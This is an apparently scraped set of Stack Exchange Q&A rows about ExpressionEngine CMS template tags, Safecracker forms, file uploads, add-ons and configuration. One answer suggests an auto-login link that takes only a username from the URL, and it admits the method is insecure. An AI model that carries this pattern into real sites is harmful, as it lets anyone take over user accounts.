  <row Id="10669" PostTypeId="1" AcceptedAnswerId="10672" CreationDate="2013-05-23T12:39:04.133" Score="1" ViewCount="164" Body="&lt;p&gt;I have a safecracker form where I need the user to create a new entry. When the form is submitted I want the return address to include the newly created entry id, but I can't figure out how via the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;submissions&quot; return=&quot;submission-complete/ENTRY_ID&quot; include_jquery=&quot;no&quot; safecracker_head=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;submissions&quot; return=&quot;submission-complete/{entry_id}&quot; include_jquery=&quot;no&quot; safecracker_head=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to do this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $('form#publishForm').ajaxForm({&#xA;        dataType: 'json',&#xA;        beforeSend: function() {&#xA;            status.empty();&#xA;            var percentVal = '0%';&#xA;            bar.width(percentVal)&#xA;            percent.html(percentVal);&#xA;        },&#xA;        uploadProgress: function(event, position, total, percentComplete) {&#xA;            var percentVal = percentComplete + '%';&#xA;            bar.width(percentVal)&#xA;            percent.html(percentVal);&#xA;        },&#xA;        success: function(data) {&#xA;            var percentVal = '100%';&#xA;            bar.width(percentVal)&#xA;            percent.html(percentVal);&#xA;window.location.href = &quot;/submission-complete/&quot;+data.entry_id;&#xA;        }&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="822" LastEditorUserId="872" LastEditDate="2013-05-23T15:20:24.930" LastActivityDate="2013-05-23T15:20:24.930" Title="Safecracker return param with created entry id" Tags="|safecracker|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10670" PostTypeId="2" ParentId="10669" CreationDate="2013-05-23T12:58:02.730" Score="0" Body="&lt;p&gt;I don't think you can since the entry ID won't be created until AFTER the form is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you might be able to do is return to the &lt;em&gt;latest&lt;/em&gt; entry from the logged in user, will should be the entry they just submitted via Safecracker.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-23T12:58:02.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10671" PostTypeId="1" AcceptedAnswerId="10676" CreationDate="2013-05-23T14:09:38.957" Score="1" ViewCount="173" Body="&lt;p&gt;I am trying to work out how to populate an admin multiselect menu from entries within another channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I just want to allow my client to be able to add new values to the multi-select without giving them access to all the channel fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the 'populate from another channel field' would work but it doesn't seem right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Martyn&lt;/p&gt;&#xA;" OwnerUserId="964" LastActivityDate="2013-05-23T15:30:11.170" Title="Populating an admin multiselect with channel entries" Tags="|channel-entries|control-panel|fields|multiselect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10672" PostTypeId="2" ParentId="10669" CreationDate="2013-05-23T14:11:34.967" Score="2" Body="&lt;p&gt;As you mentioned within you comment that you are submitting the Safecraker form with AJAX. The Ajax submission returns JSON data which have entry id also. So you can redirect with JavaScript with success function like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.location = &quot;/submission-complete/&quot;+data.entry_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take a reference from here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/examples.html#ajax-driven-entry-form&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/examples.html#ajax-driven-entry-form&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-23T14:11:34.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10673" PostTypeId="1" CreationDate="2013-05-23T14:26:18.100" Score="0" ViewCount="625" Body="&lt;p&gt;I'm having an issue with a site where some members are experiencing sideways photos uploading via a Safecracker form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked into it, and found a solution (using Channel Images to upload, crop and rotate), but the client is reluctant to make the changes required. It seems EXIF data is at fault, i.e. not being stored correctly. But I'm not 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced a similar issue? And was there a solution?&lt;/p&gt;&#xA;" OwnerUserId="523" LastActivityDate="2014-12-15T21:48:51.290" Title="Images uploading sideways" Tags="|file-uploads|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10674" PostTypeId="2" ParentId="10673" CreationDate="2013-05-23T14:34:33.000" Score="1" Body="&lt;p&gt;It could be that the photo was shot sideways but the user's OS (normally Windows) has applied some kind of transformation for displaying on the local system. This doesn't actually change the photo, just sets some orientation (probably in the EXIF data) so the OS displays it the &quot;correct&quot; way around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this transformation means nothing in the real world (or EXIF data is stripped/ignored) when they upload it, the photo appears as it was shot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there's much you can do about this other than properly transform the photo either on the desktop or on the site (as you suggested to the client).&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-23T14:34:33.000" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10675" PostTypeId="2" ParentId="10654" CreationDate="2013-05-23T15:16:50.533" Score="0" Body="&lt;p&gt;Good job getting the channels to play nicely with each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way to do this might just be to create two templates. One for Articles and the other for Interviews. &quot;/view/article/[entry] and /view/interview/[entry]&quot;. You could use snippets inside if you wanted to manage that content in the same place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you search you might have to do something to differentiate the two channels like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/view/{if channel == &quot;article&quot;}article/&#xA;                {if:else}interview/&#xA;                {/if}{url_title}&quot;&amp;gt; View&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This saves you from having to custom write a lot of tests and use other plugins&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-05-23T15:16:50.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10676" PostTypeId="2" ParentId="10671" CreationDate="2013-05-23T15:30:11.170" Score="1" Body="&lt;p&gt;Could you see MX Select Plus: &lt;a href=&quot;http://devot-ee.com/add-ons/mx-select&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-select&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-23T15:30:11.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10677" PostTypeId="2" ParentId="10640" CreationDate="2013-05-23T15:41:43.647" Score="1" Body="&lt;p&gt;This is definitely possible with Postmaster. You would setup two parcels. The first would be the immediate email. Don't worry about sending this email later. Create a new Parcel (or duplicate) and set that second Parcel to send in the future using the relative date field. You can set it to &quot;+3 days&quot; and it will recognize it and put the email in the queue for the appropriate time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you just use the Ping url provided in the CP and setup a CRON job to ping it at your specified interval. You could also use the Notifications API, but this is much more advanced and probably overkill for what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any more questions or feedback you would like answered privately, feel free to email support[at]objectivehtml.com.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-05-23T15:41:43.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10678" PostTypeId="1" AcceptedAnswerId="10679" CreationDate="2013-05-23T16:51:51.177" Score="1" ViewCount="60" Body="&lt;p&gt;My EE build is appending these strange anchors to the end of all pages. It's not actually causing any problems, but want to send to the client and want to understand why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://s168070.gridserver.com/community/#.UZ5IgqvFQrU&quot; rel=&quot;nofollow&quot;&gt;http://s168070.gridserver.com/community/#.UZ5IgqvFQrU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips!?&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2013-05-23T17:00:58.173" Title="Strange anchors added to end of urls" Tags="|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10679" PostTypeId="2" ParentId="10678" CreationDate="2013-05-23T17:00:58.173" Score="2" Body="&lt;p&gt;Do you have ShareThis on those pages? It appends silly looking hashes like that to the URLS&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-23T17:00:58.173" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10680" PostTypeId="2" ParentId="10673" CreationDate="2013-05-23T17:10:24.990" Score="1" Body="&lt;p&gt;You should have a look at what this person has done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/227175/#1036442&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/227175/#1036442&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if this doesn't work properly. You can have a checkbox &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/pt-field-pack&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/pt-field-pack&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that asks if the image needs to be rotated. If its the case you can modify the plugin to take in the params you need and rotate it via the plugin.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-05-23T17:10:24.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10681" PostTypeId="1" CreationDate="2013-05-23T18:04:17.790" Score="1" ViewCount="72" Body="&lt;p&gt;I am using v2.6.1 and the new multi-relationships feature.  I am also using Structure.  My question is, how do I get the structure URL inside of the new relationships tag.  So lets say my related entries field name is &quot;related_news&quot;, how could I populate the hyperlink URL?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_news}&#xA;    &amp;lt;a href=&quot;{related_news:page_url}&quot;&amp;gt;{related_news:title}&amp;lt;/a&amp;gt;&#xA;{/related_news}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1529" LastActivityDate="2013-05-29T12:09:01.903" Title="v2.6.1, Structure, Multiple Relationships - How do I render the page URL?" Tags="|structure|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10682" PostTypeId="1" CreationDate="2013-05-23T18:15:16.480" Score="1" ViewCount="38" Body="&lt;p&gt;How does one go about including validation code associated to the &lt;code&gt;save_settings()&lt;/code&gt; method in a custom fieldtype?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to check the posted values of the fieldtype's settings before saving them and if the validation fails, I want to send the user back to the settings page again with an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;post_save_settings()&lt;/code&gt; method wouldn't be of use as it is run after the settings have already been saved, or am I wrong? Returning false or an error string from &lt;code&gt;save_settings()&lt;/code&gt; also does not prevent the data from being saved.&lt;/p&gt;&#xA;" OwnerUserId="286" LastEditorUserId="286" LastEditDate="2013-05-23T20:16:18.950" LastActivityDate="2013-05-23T20:16:18.950" Title="Validation in the save_settings method of a custom fieldtype?" Tags="|add-on-development|fieldtype|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10683" PostTypeId="1" CreationDate="2013-05-23T18:44:36.893" Score="1" ViewCount="170" Body="&lt;p&gt;I've discovered that Transcribe doesn't fully support the Pages module, which means that certain things don't work properly. For example the Transcribe language switcher will redirect to the homepage instead of the linked Pages entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:transcribe:language_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like to fix to the language switcher would require changes to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function  _uri_reverse_lookup()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone done this already or able to help?&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-05-23T18:44:36.893" Title="Transcribe and the Pages module" Tags="|multi-language|pages|transcribe|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10684" PostTypeId="1" CreationDate="2013-05-23T19:03:48.883" Score="1" ViewCount="1032" Body="&lt;p&gt;I'm using some php code (output parsing) in a template, between {exp:channel:calendar} tags. I have a line assigning the value of a custom date field to the php variable %endDate. Then, I need to test if {date} is equal to this $endDate variable. But if I use {date} alone it just takes the string &quot;{date}&quot; instead of its actual value, and I think that's because that tag requires a format parameter, so now I'm tryng this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if (&quot;{date format=&quot;%U&quot;}&quot; == $endDate)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but, obviously, this gives me a php syntax error and just screws up half of the template... Any idea what syntax I should use to do this?&lt;/p&gt;&#xA;" OwnerUserId="1541" LastActivityDate="2013-05-24T12:14:49.230" Title="Using an EE date tag with formatting in php code" Tags="|php|tags|date|calendar|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10685" PostTypeId="2" ParentId="10652" CreationDate="2013-05-23T19:39:28.027" Score="0" Body="&lt;p&gt;That article is definitely handy, but it is not recommended that you Run PHP (security risks, can't cache templates, etc...) in your templates. So I definitely would not do that. In order to pass the appropriate HTML headers look at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[http://devot-ee.com/add-ons/http-header][1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would simply add: &lt;code&gt;{exp:http_header status=&quot;404&quot;}&lt;/code&gt; to your 404 template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB - if you throw this error via {if no_results} - as you normally do maybe? - you get 404 headers without needing PHP or an addon... see &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#if-no-results&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#if-no-results&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="1532" LastEditDate="2013-06-13T10:47:26.710" LastActivityDate="2013-06-13T10:47:26.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10686" PostTypeId="2" ParentId="9889" CreationDate="2013-05-23T20:47:52.193" Score="1" Body="&lt;p&gt;For Playa 4.4.3, the lines to update in ft.playa.php is 1888 and 1931.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'site_id' =&amp;gt; (isset($this-&amp;gt;settings['site_id']) ? $this-&amp;gt;settings['site_id'] : null)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;New:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'site_id' =&amp;gt; (isset($this-&amp;gt;settings['sites']) ? $this-&amp;gt;settings['sites'] : null)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1303" LastActivityDate="2013-05-23T20:47:52.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10687" PostTypeId="1" AcceptedAnswerId="10688" CreationDate="2013-05-23T21:47:48.863" Score="1" ViewCount="324" Body="&lt;p&gt;I'm trying to load a random channel entry on page landing, while excluding that entry from the navigation to view more in the sidebar.... Here's what i want to do, but I'm not sure how to make this work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;success_story&quot;&#xA;  dynamic=&quot;no&quot;&#xA;  orderby=&quot;random&quot;&#xA;  limit=&quot;1&quot;&#xA;}&#xA;{content}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries&#xA;  channel=&quot;success_story&quot;&#xA;  entry_id=&quot;not (entry_id from above)&quot;&#xA;}&#xA;&amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-05-24T12:19:26.677" Title="Exclude random entry from another entry tag" Tags="|channel-entries|random|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10688" PostTypeId="2" ParentId="10687" CreationDate="2013-05-23T22:10:35.307" Score="2" Body="&lt;p&gt;You can do this using an embed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;success_story&quot;&#xA;  orderby=&quot;random&quot;&#xA;  dynamic=&quot;no&quot;&#xA;  limit=&quot;1&quot;&#xA;}&#xA;{content}&#xA;{embed=&quot;group/embed&quot; eid=&quot;{entry_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;&amp;lt;!-- Then create the group/embed template (call it whatever you want) and put this --&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries&#xA;  channel=&quot;success_story&quot;&#xA;  entry_id=&quot;not {embed:eid}&quot;&#xA;  orderby=&quot;random&quot;&#xA;}&#xA;&amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could use Stash too, but maybe for another day. :)&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-05-23T23:37:45.073" LastActivityDate="2013-05-23T23:37:45.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10690" PostTypeId="2" ParentId="10617" CreationDate="2013-05-24T01:29:39.387" Score="2" Body="&lt;p&gt;See if you were bitten by this bug: &lt;a href=&quot;http://support.ellislab.com/bugs/detail/19378&quot; rel=&quot;nofollow&quot;&gt;http://support.ellislab.com/bugs/detail/19378&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2013-05-24T01:29:39.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10691" PostTypeId="2" ParentId="10593" CreationDate="2013-05-24T02:44:26.430" Score="0" Body="&lt;p&gt;You can use the add-on &lt;a href=&quot;http://devot-ee.com/add-ons/logmein&quot; rel=&quot;nofollow&quot;&gt;LogMeIn&lt;/a&gt; to do this exact thing. All it needs is the username to feed into the template. You can achieve that in a variety of ways, some being more secure than others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most direct (not so secure) method would be to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create a template, for example &lt;code&gt;profile/logmein&lt;/code&gt;, and put the LogMeIn tag in it like this: &lt;code&gt;{exp:logmein:now username=&quot;{segment_3}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Then have the email you send include a link to the logmein template with their username in the last segment: site.com/profile/logmein/username&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the user hits that page it'll redirect them to wherever you have that set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really too simple.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-24T02:44:26.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10692" PostTypeId="2" ParentId="10684" CreationDate="2013-05-24T05:02:58.573" Score="0" Body="&lt;p&gt;First of all your code &lt;code&gt;if (&quot;{date format=&quot;%U&quot;}&quot; == $endDate)&lt;/code&gt; isn't correct and you couldn't compare the a PHP variable with EE variable with EE's IF condition due to parsing stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variable {date format=&quot;%U&quot;} will work if you are have &quot;date&quot; as Date type field and it will return seconds since the epoch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try the condition code like: &lt;code&gt;if (&quot;{date format=&quot;%U&quot;}&quot; == &quot;&amp;lt;?php echo $endDate; ?&amp;gt;)&lt;/code&gt; make sure the &quot;PHP Parsing Stage&quot; is selected as &quot;Input&quot;. But I am not sure if it would work properly for you as you are putting the condition within channel entry tag and where assign the value for PHP variable $endDate.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-24T05:02:58.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10693" PostTypeId="1" AcceptedAnswerId="10698" CreationDate="2013-05-24T05:22:36.087" Score="0" ViewCount="820" Body="&lt;p&gt;I have created a test version of my site in a subfolder of my live site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The root of my live site is in /public_html and my test site is in &#xA;/public_html/test.mydomain.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up a dns record for the subdomain to point to the subfolder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have copied the database and linked the test site to the test database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have edited the entries in the config file as follows. If the main site entry is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['tmpl_file_basepath'] = &quot;/usr/www/users/capeto/system/template_files&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... the test site entry is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['tmpl_file_basepath'] = &quot;/usr/www/users/capeto/test.mysite.com/system/template_files&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The homepage of my test site displays fine,but none of the subpages. I am getting a 404 on all of them. For example the page &lt;a href=&quot;http://test.mysite.com/about/&quot; rel=&quot;nofollow&quot;&gt;http://test.mysite.com/about/&lt;/a&gt; returns a 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the template debugging code it says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.001131) Template group and template not found, showing 404 page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="649" LastActivityDate="2013-05-24T10:12:49.880" Title="Why am I getting 404 error page on subpages on my test site sitting in subfolder of my live site?" Tags="|ee1|config|404|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10695" PostTypeId="1" CreationDate="2013-05-24T08:06:06.527" Score="1" ViewCount="76" Body="&lt;p&gt;Using version 2.5.3 and no third party add ons, just some of the natives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can upload files/images using the file manager without a problem. It's just when I try to publish in channel the modal pop up won't show when clicking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm logged in as super admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested this with different computers and with different browsers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upload folder should have proper settings.&#xA;Tested to sync folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT&#xA;A modal do show if there are no files in the directory, saying &quot;You have no files..&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the modal system seems to work, just not properly. I'd really appreciate some input on this.&lt;/p&gt;&#xA;" OwnerUserId="1546" LastActivityDate="2013-05-24T10:03:56.890" Title="Can't add file when publishing to a channel. The modal window don't open up" Tags="|channel-entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10696" PostTypeId="1" CreationDate="2013-05-24T09:14:17.127" Score="0" ViewCount="67" Body="&lt;p&gt;since a few days I am trying to index about 12'000 pictures. it always stops at about the two third...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could I do to make this happen?&lt;br&gt;&#xA;Is there a way that I could reverse indexing, like starting from the other end? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the thumbnails generation process is very slow...  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've upped my php limit to 256MB, but that didn't change a lot.  &lt;/li&gt;&#xA;&lt;li&gt;I am running the backend from within the system folder, and not from system.php, could that be a problem?   &lt;/li&gt;&#xA;&lt;li&gt;It's indexing fine on other directories - it's really the amount of images that is causing a problem. &lt;/li&gt;&#xA;&lt;li&gt;the error log states nothing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am on EE 2.5.5 and Assets 2.1.3.&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-05-24T09:14:17.127" Title="Assets 2 having problems indexing 12'000 files." Tags="|assets|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10697" PostTypeId="2" ParentId="10695" CreationDate="2013-05-24T10:03:56.890" Score="1" Body="&lt;p&gt;Usually, when I've had CP issues like this, a simple re-uploading of the original EE themes folder clears things up. There may be a corrupt file in there somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens after you do that?&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-24T10:03:56.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10698" PostTypeId="2" ParentId="10693" CreationDate="2013-05-24T10:12:49.880" Score="1" Body="&lt;p&gt;Do you have an .htaccess file in the test.mysite.com/ directory too? You will need one if you are removing index.php. You can try going to &lt;a href=&quot;http://test.mysite.com/index.php/about&quot; rel=&quot;nofollow&quot;&gt;http://test.mysite.com/index.php/about&lt;/a&gt; to see if this may be your issue.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-24T10:12:49.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10699" PostTypeId="1" CreationDate="2013-05-24T10:22:38.160" Score="3" ViewCount="146" Body="&lt;p&gt;This one is causing me a headache and I am pulling my hair out! Anyone done this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have MSM set up and want to keep site 1 managing all the products. I am then using categories to only show the desired products on each site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;• Products are showing up fine on both sites.&lt;br&gt;&#xA;• On site 1, everything is working ok. Products are adding to cart.&lt;br&gt;&#xA;• Site 2 adds the product to cart, but it has a zero value.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried:&lt;br&gt;&#xA;• If I hard code a price=&quot;&quot; in, it works and adds that value to cart.&lt;br&gt;&#xA;• I have set up cookies properly for each site and there is no cross contamination there.&lt;br&gt;&#xA;• on_the_fly on site 2 has the same £0.00 effect - also the entry ID is being picked out&lt;br&gt;&#xA;• Check to see if global prices are zero&lt;br&gt;&#xA;• plus everything I can think of.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am presuming that because I have no product mapping in site 2, that it is breaking there. Does anyone know of a way to maybe manipulate the db to show one channel in both sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance would be greatly appreciated as I am now bald.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="855" LastEditorUserId="855" LastEditDate="2013-05-24T12:28:49.980" LastActivityDate="2013-06-06T09:18:13.787" Title="Cartthrob MSM site adding products from site 1 in site 2 = £0.00" Tags="|cartthrob|multi-site-manager|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10700" PostTypeId="1" CreationDate="2013-05-24T10:28:22.097" Score="0" ViewCount="177" Body="&lt;p&gt;My client has complained that when they want to choose an image for a channel with an image filed they are given the list of file names by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They would find it more intuitive to show the thumbnail view by default rather than need to change the dropdown.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-05-24T10:28:22.097" Title="make thumbnail view the default with native file manager" Tags="|file-uploads|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10701" PostTypeId="2" ParentId="10700" CreationDate="2013-05-24T10:28:22.097" Score="2" Body="&lt;p&gt;Open up ee_filebrowser.js and search for the first instance of a(&quot;#dir_choice&quot;).val(). Immediately after that add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; a(&quot;#view_type&quot;).val('thumb').change();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you include the leading ;.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-05-24T10:28:22.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
